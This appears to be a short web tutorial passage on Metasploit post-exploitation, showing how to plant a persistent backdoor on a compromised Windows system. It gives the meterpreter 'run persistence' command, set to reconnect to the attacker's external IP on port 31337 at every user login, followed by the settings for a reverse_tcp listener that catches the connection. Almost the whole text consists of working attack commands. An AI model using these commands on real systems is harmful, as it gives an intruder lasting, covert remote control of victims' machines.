Skip to main content


Once we are on a system we can instantiate a backdoor for example like this:

run persistence -h # shows the help
run persistence -U -i 120 -p 31337 -r <my_external_ip>
# where -U means that it will try to connect every time the user logs in
# -i is the interval in seconds between reconnect checks.

Now we can setup a listener and wait with:

set payload windows/meterpreter/reverse_tcp
set lport 31337